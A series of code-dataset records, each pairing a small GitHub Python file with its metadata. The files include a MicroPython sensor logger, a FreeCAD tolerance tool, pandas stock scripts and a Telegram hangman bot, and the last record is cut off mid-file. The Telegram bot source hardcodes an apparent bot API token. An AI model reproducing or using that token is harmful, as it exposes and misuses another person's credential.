miaConcessionaria.vendiVeicolo(targa, listaVeicoliConcessionaria)\n\t\n\t\t#se flag rimane a 0 --> veicolo non trovato\n\t\tif flag == 0:\n\t\t\tprint(\"Veicolo non trovato!\")\n\t\n\t\t#PULIZIA DELLO SCHERMO\n\t\tinput(\"Premi INVIO per continuare...\")\n\t\tos.system(\"clear\")\n\t\n\t#OPZIONE 3 --> STAMPA\n\tif opzione == 3:\n\t\tmiaConcessionaria.stampaVeicoli(listaVeicoliConcessionaria, listaAutoveicoli)\n\t\t\n\t\t#PULIZIA DELLO SCHERMO\n\t\tinput(\"Premi INVIO per continuare...\")\n\t\tos.system(\"clear\")\n\t\n\t#OPZIONE 4 --> ESCO\t\n\tif opzione == 4:\n\t\tprint(\"ESCO DAL PROGRAMMA!\")\n\t\tuscita = 1\n","repo_name":"MattiaBracco05/SCUOLA","sub_path":"4C/INFORMATICA/LABORATORIO/OOP/classe_automezzi/automezzi.py","file_name":"automezzi.py","file_ext":"py","file_size_in_byte":12697,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"16067856077","text":"'''\nGiven a 2D Matrix of order n X m, print K'th element in the spiral form of the matrix. \n\nInput: mat[][] = \n {{1, 2, 3, 4}\n {5, 6, 7, 8}\n {9, 10, 11, 12}\n {13, 14, 15, 16}}\n k = 6\nOutput: 12\nExplanation: The elements in spiral order is \n1, 2, 3, 4, 8, 12, 16, 15...\nso the 6th element is 12\n\nInput: mat[][] =\n {{1, 2, 3, 4, 5, 6}\n {7, 8, 9, 10, 11, 12}\n {13, 14, 15, 16, 17, 18}}\n k = 17\nOutput: 10\nExplanation: The elements in spiral order is \n1, 2, 3, 4, 5, 6, 12, 18, 17,\n16, 15, 14, 13, 7, 8, 9, 10, 11 \nso the 17 th element is 10. \n'''\ndef traverseRing(M, R, C, k, i, count):\n # traverse top row\n for j in range(i, C - i):\n x = M[i][j]\n count[0] += 1\n if count[0] == k:\n print(x)\n return\n # traverse right column\n for j in range(i + 1, R - i):\n x = M[j][C-i-1]\n count[0] += 1\n if count[0] == k:\n print(x)\n return\n\n # traverse bottom row\n for j in range(C-i-2, i-1, -1):\n x = M[R-i-1][j]\n count[0] += 1\n if count[0] == k:\n print(x)\n return\n\n # traverse left edge\n for j in range(R-i-2, i, -1):\n x = M[j][i]\n count[0] += 1\n if count[0] == k:\n print(x)\n return\n\ndef printKthElement(M, k):\n R, C = len(M), len(M[0])\n to = min(R + 1, C + 1) // 2\n count = [0]\n for i in range(to):\n traverseRing(M, R, C, k, i, count)\n if count[0] == k:\n return\n\nM = [[1, 2, 3, 4, 5, 6 ],\n [ 7, 8, 9, 10, 11, 12 ],\n [ 13, 14, 15, 16, 17, 18]]\nk = 3\nfor i in range(1, 19):\n printKthElement(M, i)","repo_name":"embydextrous/Interview","sub_path":"matrix/53-printKthElementSpiral.py","file_name":"53-printKthElementSpiral.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"70"} +{"seq_id":"2846670241","text":"from xml.etree import ElementTree as ET\nfrom tkinter import Frame, Canvas,ttk, X\n\nclass LineChartWrapper:\n\n def __init__(self, datalist:list):\n self.data = datalist\n\n\n def drawCanvas(self,title:str, master:Frame, interValueSpace:int,primaryColor:str, secondaryColor:str,padding:tuple=(0,0)):\n maxValue = max(self.data)\n minValue = min(self.data)\n\n ttk.Label(master,text=title).pack()\n graph = Canvas(master,height=120,width=425, background=secondaryColor)\n graph.pack(fill=X,pady=padding)\n \n for i,dayStat in enumerate(self.data):\n if dayStat in (minValue,maxValue):\n graph.create_text(i*interValueSpace + 5,10,text=dayStat)\n if i > 0:\n graph.create_line((i-1)*interValueSpace + 5, 20+(maxValue-self.data[i-1])*100/maxValue, i*interValueSpace + 5, 20+(maxValue-dayStat)*100/maxValue,width=3, fill=primaryColor)\n\n def saveAsSvg(self, filepath):\n maxValue = max(self.data)\n minValue = min(self.data)\n \n initialStr = '''\n \n '''\n \n root = ET.XML(initialStr)\n graphZone = ET.SubElement(root,\"g\")\n\n for i,dayStat in enumerate(self.data):\n if dayStat in (minValue,maxValue):\n textTag = ET.SubElement(graphZone,\"text\")\n textTag.set(\"x\",str(i*14 + 5))\n textTag.set(\"y\",str(15))\n textTag.text = str(dayStat)\n textTag.set(\"color\",\"black\")\n\n if i > 0:\n\n line = ET.SubElement(graphZone,\"line\")\n line.set(\"stroke-width\",str(3))\n line.set(\"y1\",str(20+(maxValue-self.data[i-1])*100/maxValue))\n line.set(\"x1\",str((i-1)*14 + 5))\n line.set(\"y2\",str(20+(maxValue-dayStat)*100/maxValue))\n line.set(\"x2\",str(i*14 + 5))\n line.set(\"stroke\",\"red\")\n\n tree = ET.ElementTree(root)\n ET.register_namespace(\"\",\"http://www.w3.org/2000/svg\")\n\n tree.write(filepath, encoding=\"utf-8\",xml_declaration=True)","repo_name":"Gegelascience/pyNpmViewerApp","sub_path":"Helpers/ChartHelper.py","file_name":"ChartHelper.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"11569721468","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 31 12:14:54 2017\n\n@author: James\n\"\"\"\nimport pandas as pd\nfrom pandas_datareader.data import DataReader\nimport matplotlib.pyplot as plt\nfrom datetime import date #Date & time functionality\n\n#selecting stocks and get data from Google Finance\nnyse = pd.read_excel('listings.xlsx', sheetname='nyse', na_values='n/a')\n\nnyse = nyse.sort_values('Market Capitalization', ascending=False)\n\nnyse[['Stock Symbol', 'Company Name']].head(3)\n\nlargest_by_market_cap = nyse.iloc[0] # 1st Row\n\nlargest_by_market_cap['Stock Symbol'] #Select row label\n\n#Alterantive more elegant way to get largest company\nnyse = nyse.set_index('Stock Symbol') #Stock ticker as index\nnyse['Market Capitalization'].idxmax() #Index of max value\n\nnyse['Sector'].unique() #Unique values as numpy array\n\ntech = nyse.loc[nyse.Sector == 'Technology'] #only select Technology stocks\n\nnyse.loc[nyse.Sector == 'Technology', 'Market Capitalization'].idxmax()\n\nticker = nyse.loc[(nyse.Sector == 'Technology') & (nyse['IPO Year']==2017),\n 'Market Capitalization'].idxmax()\n\ndata = DataReader(ticker, 'google') #Start: 2010/1/1\ndata = data.loc[:,['Close', 'Volume']] \n#alternative data = data[['Close','Volume']]\n\ndata.plot(title=ticker, secondary_y = 'Volume')\nplt.tight_layout()\nplt.show()\n\n#select the top 5 listed consumer companies\nxls = pd.ExcelFile('listings.xlsx') # pd.ExcelFile object\nexchanges = xls.sheet_names #exhcange contails the sheet names\nlistings = [] #listings is an empty list\n\nfor exchange in exchanges:\n listing = pd.read_excel(xls, sheetname=exchange)\n listing['Exchange'] = exchange\n listings.append(listing) #Add DataFrame to list\ncombined_listings = pd.concat(listings) #create a DataFrame out of list\n\nconsumer_services = combined_listings.loc[combined_listings.Sector == 'Consumer Services']\n#alternative\n# Select companies in Consumer Services\nconsumer_services = combined_listings[combined_listings.Sector == 'Consumer Services']\n\n# Sort consumer_services by market cap\nconsumer_services2 = consumer_services.sort_values('Market Capitalization', ascending=False)\n\n# Display first 5 rows of designated columns\nprint(consumer_services2[['Company Name', 'Exchange', 'Market Capitalization']].head())\n\n\n#Get the ticker of the largest comsumer services company\n# Set the index of listings to Stock Symbol\nlistings = pd.DataFrame.copy(combined_listings)\nlistings = listings.set_index('Stock Symbol')\n\n# Get ticker of the largest Consumer Services company\nticker = listings.loc[listings.Sector=='Consumer Services', 'Market Capitalization'].idxmax()\n\n# Set the start date\nstart = date(2012,1,1)\n\n# Import the stock data\ndata = DataReader(ticker,'google', start)\n\n# Plot Close and Volume\ndata[['Close', 'Volume']].plot(secondary_y='Volume', title=ticker)\n\n# Show the plot\nplt.show()\n\n#get the largest comsumer company listed after 1998\n# Set Stock Symbol as the index\n#listings = listings.set_index('Stock Symbol')\n\n# Get ticker of the largest consumer services company listed after 1997\nticker = listings.loc[(listings.Sector == 'Consumer Services') & (listings['IPO Year'] > '1998'), 'Market Capitalization'].idxmax()\n\n# Set the start date\nstart = date(1998,1,1)\n\n# Import the stock data\ndata = DataReader(ticker, 'google', start)\n\n# Plot Close and Volume\ndata[['Close', 'Volume']].plot(secondary_y='Volume',title=ticker)\n\n# Show the plot\nplt.show()","repo_name":"jameschenmech/ImportingFiancialData","sub_path":"Selecting_Stocks.py","file_name":"Selecting_Stocks.py","file_ext":"py","file_size_in_byte":3402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"17491713343","text":"#!/usr/bin/env python\n\n# I'll finish this later.\n\ndef find_reps(rep):\n new_reps = {rep}\n left, mid, right = rep.rpartition('10')\n if mid:\n for r_l in find_reps(left):\n new_reps.add(('%s%s%s' % (r_l, mid, right)).lstrip('0'))\n new_reps.add(('%s%s%s' % (r_l, '02', right)).lstrip('0'))\n new = ('%s02%s' % (left, right)).lstrip('0')\n new_reps |= {new} | find_reps(new)\n\n left, mid, right = rep.rpartition('20')\n if mid:\n for r_l in find_reps(left):\n new_reps.add(('%s%s%s' % (r_l, mid, right)).lstrip('0'))\n new_reps.add(('%s%s%s' % (r_l, '12', right)).lstrip('0'))\n new = ('%s12%s' % (left, right)).lstrip('0')\n new_reps |= {new} | find_reps(new)\n\n return new_reps\n \n\n\n# \n# left, mid, right = rep.rpartition('10')\n# if mid:\n# new = ('%s02%s' % (left, right)).lstrip('0')\n# print(new)\n# new_reps.add(new)\n# for r in find_reps(left):\n# new_reps.add('%s%s%s' % (r, mid, right))\n# new_reps.add('%s%s%s' % (r, '02', right))\n# \n# left, mid, right = rep.rpartition('20')\n# if mid:\n# new = ('%s12%s' % (left, right)).lstrip('0')\n# print(new)\n# new_reps.add(new)\n# for r in find_reps(left):\n# new = '%s%s%s' % (r, mid, right)\n# new_reps.add(new)\n# new = '%s%s%s' % (r, '12', right)\n# new_reps.add(new)\n# \n# return new_reps\n\nuser_in = input('>')\nwhile user_in != ':q':\n dec = int(user_in)\n # Make the decimal into a binary number represented as a string.\n bits = bin(dec).replace('0b', '')\n print('{} -> {}'.format(dec, bits))\n\n print(find_reps(bits))\n user_in = input('>')\n","repo_name":"zmarvel/playground","sub_path":"hyperbinary/hyperb.py","file_name":"hyperb.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"33642640208","text":"import pandas as pd\nimport numpy as np\nimport sys\nimport ast\n\ndf = pd.read_csv(\"/home/bobobis/Documents/GitHub/movieRecommender/python/topMoviesSorted.csv\")\ncdf = pd.read_csv(\"/home/bobobis/Documents/GitHub/movieRecommender/python/links_small.csv\",low_memory=False)\n\ngenre = sys.argv[1]\n\nif genre == 'All':\n\tfor id in df.head(25)['id']:\n\t\timdbID = cdf.loc[cdf['tmdbId'] == id]['imdbId'].values[0]\n\t\twhile len(str(imdbID)) < 7:\n\t\t\timdbID = '0'+ str(imdbID)\n\t\tprint(imdbID)\nelse:\n\tcount = 0\n\tfor movie in df.values:\n\t\tif count > 25:\n\t\t\tbreak\n\t\tjson = ast.literal_eval(movie[1])\n\t\tfor genres in json:\n\t\t\tif genres['name'] == genre:\n\t\t\t\timdbID = cdf.loc[cdf['tmdbId'] == movie[3]]['imdbId'].values[0]\n\t\t\t\twhile len(str(imdbID)) < 7:\n\t\t\t\t\timdbID = '0'+ str(imdbID)\n\t\t\t\tprint(imdbID)\n\t\t\t\tcount += 1\n\n\n","repo_name":"phamnbh/movieRecommender","sub_path":"python/top.py","file_name":"top.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"17254412462","text":"import os\n\nfrom setuptools import setup\n\nfrom dayone import __version__, __project_name__, __project_link__\n\n\ndef read(fname):\n return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\nsetup(\n name=__project_name__,\n version=__version__,\n\n description=\"A Python Library for the Mac OS X application Day One.\",\n\n author=\"Myles Braithwaite\",\n author_email=\"me@mylesbraithwaite.com\",\n\n license='BSD',\n\n keywords='dayone',\n\n url=__project_link__,\n\n long_description=read('README.rst'),\n\n classifiers=[\n \"Development Status :: 3 - Alpha\",\n \"Topic :: Utilities\",\n \"License :: OSI Approved :: BSD License\",\n ],\n\n install_requires=[\n 'pytz',\n 'tzlocal',\n 'Markdown',\n ],\n\n extras_require={\n 'cli': ['clint', ]\n },\n\n entry_points={\n 'console_scripts': [\n 'py-dayone = dayone.cli:main [cli]'\n ]\n },\n\n test_suite=\"tests\"\n)\n","repo_name":"myles/dayone","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"70"} +{"seq_id":"43201767632","text":"from dataclasses import dataclass, field\nfrom typing import Optional\nfrom .uic_rate_type_enumeration import UicRateTypeEnumeration\n\n__NAMESPACE__ = \"http://www.netex.org.uk/netex\"\n\n\n@dataclass\nclass UicTrainRate:\n class Meta:\n namespace = \"http://www.netex.org.uk/netex\"\n\n value: Optional[UicRateTypeEnumeration] = field(\n default=None,\n metadata={\n \"required\": True,\n }\n )\n","repo_name":"tefra/xsdata-samples","sub_path":"netex/models/uic_train_rate.py","file_name":"uic_train_rate.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"70"} +{"seq_id":"3368441316","text":"from machine import Pin, UART, I2C, SoftI2C\r\nimport time\r\nimport sys\r\nimport uos\r\nimport sdcard\r\nfrom ubinascii import hexlify\r\nimport binascii\r\nimport ctypes\r\n\r\n# declare UART channel and Baudrate for Bluetooth device\r\nuart0 = UART(0, 9600, tx=machine.Pin(16), rx = machine.Pin(17))\r\n\r\n# LED GPIO Pin\r\nled = Pin(15, Pin.OUT)\r\n\r\n#Off button assignment\r\nbutton = Pin(28, Pin.IN, Pin.PULL_DOWN)\r\n\r\n# Assign chip select (CS) pin (and start it high)\r\ncs = machine.Pin(9, machine.Pin.OUT)\r\n\r\n#Intialize SPI peripheral (start with 1 MHz)\r\nspi = machine.SPI(1,\r\n baudrate=1000000,\r\n polarity=0,\r\n phase=0,\r\n bits=8,\r\n firstbit=machine.SPI.MSB,\r\n sck=machine.Pin(10),\r\n mosi=machine.Pin(11),\r\n miso=machine.Pin(8))\r\n\r\n# Initialize SD card\r\nsd = sdcard.SDCard(spi, cs)\r\n\r\n# Mount filesystem\r\nvfs = uos.VfsFat(sd)\r\nuos.mount(vfs, \"/sd\")\r\n\r\n#IMU Declaration\r\nsda=machine.Pin(26)\r\nscl=machine.Pin(27)\r\ni2c = I2C(1,sda=sda,scl=scl, freq=400000)\r\n\r\nPWR_MODE = const(0x3E)\r\nOPR_MODE = 0X3D\r\nUNIT_SEL = 0X3B\r\nPAGE_ID = 0X07\r\n\r\nACC_X = 0x08\r\nACC_Y = 0x0A\r\nACC_Z = 0x0C\r\nHEAD = 0x1A\r\n\r\ndef write_imu(device, register, data):\r\n buf = bytearray()\r\n buf.append(data)\r\n i2c.writeto_mem(device, register, buf)\r\n\r\ndef read_imu(device, register):\r\n try:\r\n data = i2c.readfrom_mem(device[0], register, 2)\r\n value = int.from_bytes(data, \"little\")\r\n if(value <= 32768):\r\n print(\"ACCELERATION: \", float(value) / 16, \"\\n\")\r\n else:\r\n buf = bytearray()\r\n buf.append(~data[1])\r\n buf.append(~data[0])\r\n value = float(-(int.from_bytes(buf, 'big') + 1)) / 16\r\n except OSError:\r\n None \r\n return value\r\n\r\ndevice = i2c.scan()\r\nwrite_imu(device[0], PWR_MODE, 0x00)\r\nwrite_imu(device[0], OPR_MODE, 0x00)\r\nwrite_imu(device[0], UNIT_SEL, 0x00)\r\nwrite_imu(device[0], OPR_MODE, 0x0C)\r\n \r\nprint(\"OPMODE: \", int.from_bytes(i2c.readfrom_mem(device[0], 0x3D, 1), \"little\"))\r\ntime.sleep(2)\r\n\r\n#opens the write for the SDcard\r\nwith open(\"/sd/test01.csv\", \"w\") as file:\r\n while True:\r\n \r\n try:\r\n try:\r\n data = i2c.readfrom_mem(device[0], HEAD, 2)\r\n value = int.from_bytes(data, \"little\")\r\n acceleration = str(float(value) / 100)\r\n# if(value <= 32768):\r\n# print(\"ACCELERATION1: \", float(value) / 100, \"\\n\")\r\n# else:\r\n# buf = bytearray()\r\n# buf.append(~data[1])\r\n# buf.append(~data[0])\r\n# value = float(-(int.from_bytes(buf, 'big') + 1)) / 100\r\n# print(\"ACCELERATION2: \", value , \" \\n\\n\")\r\n except OSError:\r\n None \r\n time.sleep_ms(20)\r\n except KeyboardInterrupt:\r\n break\r\n \r\n #writes to bluetooth\r\n uart0.write(\"Hello Bluetooth UART0 \\r\\n\")\r\n uart0.write(\"Acceleration: \" + acceleration + \"\\r\\n\")\r\n \r\n #writes to serial\r\n sys.stdout.write(\"Hello USB \\r\\n\")\r\n sys.stdout.write(\"Acceleration: \" + acceleration + \"\\r\\n\")\r\n \r\n #writes to CSV file on SDcard\r\n file.write(\"Acceleration, \" + acceleration + \"\\r\\n\")\r\n \r\n #if power button is pressed\r\n if button.value():\r\n sys.stdout.write(\"Program terminated\")\r\n uart0.write(\"Program terminated\")\r\n break\r\n \r\n led.toggle() # toggle LED on and off\r\n time.sleep(2) # 2 second delay\r\n \r\n","repo_name":"Jarrettmitchener/ECEN4013-Prject-2","sub_path":"Com_IMU_test.py","file_name":"Com_IMU_test.py","file_ext":"py","file_size_in_byte":3653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"73266574307","text":"print('hello! python')\n#declear variable\nnum = 50\nnum2 = 20\n#oparator\n#addition\naddition = num+num2\nprint('addition', addition)\n#substraction\nsubstraction = num - num2\nprint('Substraction:', substraction)\n#multyply\nprint('Multiply: ', num*num2)\nprint('division: ', num/num2)\n#modulus\nprint('modulus: ', num%num2)\n#list\nli = []\n#append method\nli.append(21)\nli.append(24.5)\nli.append('this is list')\nprint(li)\n#input\ngreeting = 'Hello! '\nname = input('Enter Your Name: ')\nprint(greeting, name)\n#convert to int\nv1 = int(input('Enter first number: '))\nv2 = int(input('Enter Second number: '))\nmul = v1*v2\nprint('Multiplication is: ', mul)\n#selection or condition\nage = 52\nif(age>50):\n print('This man is older')\nelif(age==50):\n print('This man is a middle age person')\nelse:\n print('This man is young')\n#function\ndef hello():\n print('This is hello function')\nhello()\n#more in function\ndef multiply():\n first = int(input('Enter first number for function: '))\n second = int(input('Enter Second number for second function: '))\n result = first*second\n return result\ndef Main():\n print('Start from main function')\n result = multiply()\n print(result)\nif __name__ == \"__main__\":\n Main()\n\n#Iteration/Loop\nfor step in range(5):\n print(step)\n\n#module\nimport math\ndef Main():\n num = -70\n num = math.fabs(num)\n print(num)\nif __name__ == \"__main__\":\n Main()\n\n\n","repo_name":"uzzal408/pythonlearning","sub_path":"basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"18636050267","text":"'''\nDialog notes\n------------\nUse Qt Designer to edit the toleranceDialog.ui\nOnce completed \n $ pyside-uic toleranceDialog.ui > toleranceDialog.py\n'''\nfrom drawingDimensioning.py3_helpers import encode_if_py2\nfrom drawingDimensioning.command import *\nfrom . import toleranceDialog\nfrom .textEdit import maskBrush, maskPen, maskHoverPen\n\nd = DimensioningCommand()\n\ndef _textSVG_sub(x_offset, y_offset, text, comma_decimal_place, rotation, text_x, text_y ):\n offset = rotate2D([x_offset, y_offset], rotation*numpy.pi/180)\n x = text_x + offset[0]\n y = svgText.y + offset[1]\n return d.textRenderer(x, y, text if not comma_decimal_place else text.replace('.',','),\n text_anchor='end', rotation=svgText.rotation )\n\ndef textSVG( text_x, text_y, text, font_size, rotation, font_family, font_fill, x, y, text_upper, text_lower, toleranceText_sizeRatio=0.8, comma_decimal_place=False ):\n fS = float(font_size) * toleranceText_sizeRatio\n textRenderer = SvgTextRenderer(\n font_family = font_family, \n fill = font_fill,\n font_size = fS\n )\n w = rotate2D([x - text_x, y - text_y], -rotation*numpy.pi/180)[0]\n def _textSVG_sub(x_offset, y_offset, text ):\n offset = rotate2D([x_offset, y_offset], rotation*numpy.pi/180)\n x = text_x + offset[0]\n y = text_y + offset[1]\n return textRenderer(x, y, text if not comma_decimal_place else text.replace('.',','),\n text_anchor='end', rotation=rotation )\n textXML_lower = _textSVG_sub( w, 0.0*fS, text_lower )\n textXML_upper = _textSVG_sub( w, -fS, text_upper )\n return ' %s \\n %s ' % ( textXML_lower, textXML_upper )\nd.registerPreference( 'toleranceText_sizeRatio', 0.8, increment=0.1, label='size ratio')\nd.registerPreference( 'comma_decimal_place')\n\nclass boundText_widget:\n def __init__(self, name, default):\n self.name = name\n self.default = default\n def valueChanged( self, arg1):\n setattr(d, self.name, arg1)\n def generateWidget( self, dimensioningProcess ):\n self.lineEdit = QtGui.QLineEdit()\n self.lineEdit.setText(self.default)\n setattr(d, self.name, self.default)\n self.lineEdit.textChanged.connect(self.valueChanged)\n return DimensioningTaskDialog_generate_row_hbox(self.name, self.lineEdit)\n def add_properties_to_dimension_object( self, obj ):\n obj.addProperty(\"App::PropertyString\", self.name+'_text', 'Parameters')\n setattr( obj, self.name+'_text', encode_if_py2(getattr( d, self.name )) )\n def get_values_from_dimension_object( self, obj, KWs ):\n KWs['text_'+self.name] = getattr( obj, self.name+'_text') #should be unicode\n\nd.dialogWidgets.append( boundText_widget('upper','+0.0') )\nd.dialogWidgets.append( boundText_widget('lower','-0.0') )\n\n\ndef toleranceAdd_preview( mouse_x, mouse_y ):\n s = d.selections + [PlacementClick( mouse_x, mouse_y)] if len(d.selections) == 1 else d.selections\n return textSVG( *selections_to_svg_fun_args(s), text_upper=d.upper, text_lower=d.lower, **d.dimensionConstructorKWs )\n\ndef toleranceAdd_clickHandler(x, y):\n d.selections.append( PlacementClick( x, y) )\n return 'createDimension:%s' % findUnusedObjectName('tolerance')\n\ndef AddToleranceToText( event, referer, elementXML, elementParms, elementViewObject ):\n viewInfo = selectionOverlay.DrawingsViews_info[elementViewObject.Name]\n d.selections = [ TextSelection( elementParms, elementXML, viewInfo ) ]\n selectionOverlay.hideSelectionGraphicsItems()\n previewDimension.initializePreview(d, toleranceAdd_preview, toleranceAdd_clickHandler)\n\nclass Proxy_toleranceAdd( Proxy_DimensionObject_prototype ):\n def dimensionProcess( self ):\n return d\nd.ProxyClass = Proxy_toleranceAdd\nd.proxy_svgFun = textSVG\n\nclass AddTolerance:\n def Activated(self):\n V = getDrawingPageGUIVars()\n d.activate( V, dialogTitle='Add Tolerance', dialogIconPath=':/dd/icons/toleranceAdd.svg', endFunction=self.Activated )\n selectGraphicsItems = selectionOverlay.generateSelectionGraphicsItems( \n [obj for obj in V.page.Group if hasattr(obj,'Proxy') and isinstance(obj.Proxy, Proxy_DimensionObject_prototype)], \n AddToleranceToText , \n sceneToAddTo = V.graphicsScene, \n transform = V.transform,\n doTextItems = True, \n pointWid=2.0,\n maskPen=maskPen, \n maskHoverPen=maskHoverPen, \n maskBrush = maskBrush\n )\n \n def GetResources(self): \n return {\n 'Pixmap' : ':/dd/icons/toleranceAdd.svg' , \n 'MenuText': 'Add tolerance super and subscript to dimension', \n } \nFreeCADGui.addCommand('dd_addTolerance', AddTolerance())\n\n\n","repo_name":"hamish2014/FreeCAD_drawing_dimensioning","sub_path":"drawingDimensioning/toleranceAdd.py","file_name":"toleranceAdd.py","file_ext":"py","file_size_in_byte":4804,"program_lang":"python","lang":"en","doc_type":"code","stars":113,"dataset":"github-code","pt":"70"} +{"seq_id":"21229576104","text":"import requests\nimport json\nimport random\n\n\nalphabet = ['а', 'б', 'в', 'г', 'д', 'е', 'ё', 'ж', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ч', 'ц', 'ш', 'щ', 'ъ', 'ы', 'ь', 'э', 'ю', 'я']\ntoken = '5189961595:AAFS1oWXVmsUYuYCa0m5haGBti6PF2BnvvY'\n\ndef send_message(sender_id, text, token):\n json_request = requests.post(f'https://api.telegram.org/bot{token}/sendMessage?chat_id={sender_id}/&text={text}').json()\n\n\ndef get_leaderboard(state, sender_id):\n scores = []\n place = 1\n leaderboard = ''\n sender_place = 0\n\n for i in state.keys():\n if i[0] == 's' and state[i]['rating'] > 0:\n scores.append(state[i]['rating'])\n for score in reversed(sorted(scores)):\n for i in state.keys():\n if i[0] == 's' and score == state[i]['rating'] and place <= 10: \n leaderboard += str(place) + '. ' + state[i]['name'] + ' ' + str(score) + '\\n'\n if score == state[sender_id]['rating']:\n sender_place = place\n place += 1\n if sender_place == 0:\n return leaderboard\n\n return leaderboard + 'Вы на ' + str(sender_place) + ' месте'\n\n\ndef evaluate(word):\n\n points = 0\n for letter in word:\n if letter in ['а', 'о', 'п', 'р']:\n points += 1\n elif letter in ['б', 'в', 'г', 'д', 'е', 'з', 'и', 'к', 'л', 'м', 'н', 'с', 'т', 'у']:\n points += 2\n elif letter in ['ё', 'й', 'ж', 'ф', 'х', 'ц', 'ч', 'ш', 'щ', 'ъ', 'ы', 'ь', 'э', 'ю', 'я']:\n points += 3\n\n return points\n\n\ndef get_word():\n with open('words.json', 'r') as fin:\n words = json.load(fin)\n word = random.choice(list(words.keys()))\n points = words[word]\n letters = []\n word = word[:-1]\n for letter in word:\n letters.append('_')\n\n return word, letters, points\n\n\ndef interpretate_message(state, text, chat_id, sender_id, token, alphabet):\n\n if text in ['/startnormal','/startnormal@veshalka259_bot', '/starthard', '/starthard@veshalka259_bot'] and state[chat_id]['game'] == 'out':\n word, letters, points = get_word()\n send_message(chat_id, ' '.join(letters), token)\n\n if 'hard' in text:\n attempts = 5\n game = 'in_hm'\n else:\n attempts = 10\n game = 'in_nm'\n\n state[chat_id] = {'game':game, 'word':word, 'letters':letters, 'attempts':attempts, 'used':[], 'points':points}\n \n elif text == '/rating' or text == '/rating@veshalka259_bot':\n send_message(chat_id, 'Ваш рейтинг: ' + str(state[sender_id]['rating']), token)\n \n elif text == '/leaderboard' or text == '/leaderboard@veshalka259_bot':\n send_message(chat_id, get_leaderboard(state, sender_id), token)\n\n elif '/add' in text:\n \n with open('words.json', 'r') as fin:\n words = json.load(fin)\n word = text.split('/add ')[1]\n \n if word + '\\n' not in words.keys():\n words[word + '\\n'] = evaluate(word)\n with open('words.json', 'w') as fout:\n json.dump(words, fout)\n send_message(chat_id, 'OK', token)\n else:\n send_message(chat_id, 'Not OK, word already used', token)\n\n elif text == '/allwords' or text == '/allwords@veshalka259_bot':\n\n with open('words.json', 'r') as fin:\n length = len(json.load(fin))\n output = f'Всего {length} слов'\n send_message(chat_id, output, token)\n\n elif state[chat_id]['game'] == 'in_nm' or state[chat_id]['game'] == 'in_hm':\n \n if text == 'ë':#these letters have different encodings\n text = 'ё'\n \n if text not in alphabet:\n return state\n elif text in state[chat_id]['used']:\n send_message(chat_id, 'Эта уже была', token)\n return state\n \n state[chat_id]['used'].append(text)\n if text not in state[chat_id]['word']:\n state[chat_id]['attempts'] -= 1\n send_message(chat_id, ' '.join(state[chat_id]['letters']) + '\\nНет такой, попыток осталось: ' + str(state[chat_id]['attempts']), token)\n if state[chat_id]['attempts'] == 0:\n send_message(chat_id, 'Конец игры! Словом было: ' + state[chat_id]['word'], token)\n state[sender_id]['rating'] -= state[chat_id]['points']\n state[chat_id] = {'game':'out'}\n return state\n\n for i in range(len(state[chat_id]['word'])):\n if state[chat_id]['word'][i] == text:\n state[chat_id]['letters'][i] = text\n send_message(chat_id, ' '.join(state[chat_id]['letters']), token)\n if '_' not in state[chat_id]['letters']:\n if state[chat_id]['game'] == 'in_hm':\n state[chat_id]['points'] *= 2\n send_message(chat_id, 'Поздравляю с победой!\\nБаллов заработано: ' + str(state[chat_id]['points']), token)\n state[sender_id]['rating'] += state[chat_id]['points']\n state[chat_id] = {'game':'out'}\n\n return state\n\n\ndef respond(post_data, state):\n if 'message' not in post_data:\n return state\n\n message = post_data['message']\n chat_id = str(message['chat']['id'])\n sender_id = 's' + str(message['from']['id'])\n name = str(message['from']['first_name'])\n\n if chat_id not in state:\n send_message(chat_id, 'Привет, я Вешалка, бот для игры в виселицу. Буквы \"Е\", \"Ë\" и \"И\", \"Й\" считаю отдельно. Чтобы начать напишите \"/startnormal\". Для сложного режима \"/starthard\", в два раза больше очков! Чтобы узнать свой рейтинг напишите \"/rating\"', token)\n state[chat_id] = {'game':'out'}\n if sender_id not in state:\n state[sender_id] = {'rating':0, 'name':name}\n if name != state[sender_id]['name']:\n state[sender_id]['name'] = name\n elif 'text' in message:\n text = message['text'].lower()\n state = interpretate_message(state, text, chat_id, sender_id, token, alphabet)\n \n return state\n","repo_name":"tartarus8/hangman_project","sub_path":"tg_python/tg_bot.py","file_name":"tg_bot.py","file_ext":"py","file_size_in_byte":6297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"19277849139","text":"from django.urls import path \r\nfrom . import views\r\n\r\nurlpatterns = [\r\n path(\"home/\",views.Adminss,name=\"Admins\"),\r\n path('profile/', views.profile, name=\"user_Profile\"),\r\n path('carwash/', views.carwash, name=\"users\"),\r\n path('customer/', views.customer, name=\"customer\"),\r\n path('request/', views.user_request, name=\"request_user\"),\r\n path('requst_py/', views.pay_request, name=\"pay_request\"),\r\n path('employee/', views.employee, name=\"employee\"),\r\n path('employee/edit/', views.editEmployee, name=\"editEmployee\"),\r\n path('carwash/add/', views.addCarwash, 